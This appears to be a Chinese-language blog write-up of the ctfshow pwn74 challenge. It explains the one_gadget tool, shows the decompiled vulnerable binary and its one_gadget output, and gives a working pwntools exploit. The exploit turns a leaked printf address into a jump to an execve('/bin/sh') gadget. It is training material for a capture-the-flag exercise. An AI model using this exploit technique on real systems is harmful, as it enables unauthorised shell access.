yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn74

pwn74

ctf.show pwn74

目录


题目

预计时间

2h

题目分析及截图

one_gadget:

​ 开始解题之前,我们需要知道 one_gadget 是什么工具,它的作用是什么,我们什么时候用?

  • one_gadget 是一个用于扫描 libc文件 ,找到可以执行execve("/bin/sh",null,null)的gadget地址的工具
  • 它的作用就是帮助我们直接拿到一个可能出shell的地址,而不必手动构造完整ROP链。
  • 当我们知道本题的libc版本,或者题目给我们了libc版本,那么我们就可以使用这个工具,如果这些execvee("/bin/sh",null,null)的其中一个的前提条件都满足,我们就可以使用这个地址

安装方式:

1
2
sudo apt -y install ruby
sudo gem install one_gadget

使用方式:

1
one_gadget /lib/x86_64-linux-gnu/libc.so.6

接下来我们看这道题怎么解

使用ida看函数的反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF

v4[2] = __readfsqword(0x28u);
init(argc, argv, envp);
puts(
" 鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽 ");
puts(asc_A80);
puts(
" 鈻堚枅鈻€ 鈻堚枅 鈻堚枅 鈻勨杽鈻堚枅鈻堚枅鈻堚杽 鈻堚枅鈻勨枅鈻堚枅鈻堚杽 鈻勨枅鈻堚枅鈻堚杽 鈻堚枅 鈻堚枅");
puts(asc_B90);
puts(asc_C20);
puts(asc_CA8);
puts(
" 鈻€鈻€鈻€鈻€ 鈻€鈻€ 鈻€鈻€ 鈻€鈻€鈻€鈻€鈻€鈻€ 鈻€鈻€ 鈻€鈻€ 鈻€鈻€鈻€鈻€ 鈻€鈻€ 鈻€鈻€ ");
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : PWN_Tricks ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Use one_gadget a shuttle! ");
puts(" * ************************************* ");
printf("What's this:%p ?\n", &printf);
__isoc99_scanf("%ld", v4);
v4[1] = v4[0];
((void (*)(void))v4[0])();
return 0;
}
  • 在 printf("What's this:%p ?\n", &printf);中程序会输出printf的地址

​ 使用用户输入来获取函数指针,并通过函数指针调用相应的函数。需要注意的是,这种通过用户输入来获取函数指针并调用函数的做法极有可能会带来安全隐患,因为恶意用户可以输入不安全的函数指针,导致程序出现问题。

​ 我们使用 one_gadget来看看我们有没有可以用的execve("/bin/sh")调用

​ 因为使用libc是需要和题目一致的,我的虚拟机并不是使用的附带的虚拟机,我就只下载了libc文件放在了和程序一样的目录下,然后使用one_gadget ./libc.so.6就可以看到程序有哪些可以用的gadget地址,或者你也可以自己泄露,因为这里我也是猜的,没有什么依据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
yyh@yyh:~/pwn74$ one_gadget ./libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

一个一个去试这些地址

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('pwn.challenge.ctf.show', 28159)
libc = ELF('./libc.so.6')
one_gadget = 0x10a2fc
p.recvuntil('this:')
print_libc = libc.symbols['printf']
printf = int(p.recv(14),16)
base = (printf - print_libc)
p.sendline(str(one_gadget+base))
p.recv()
p.interactive()

即可得到flag

​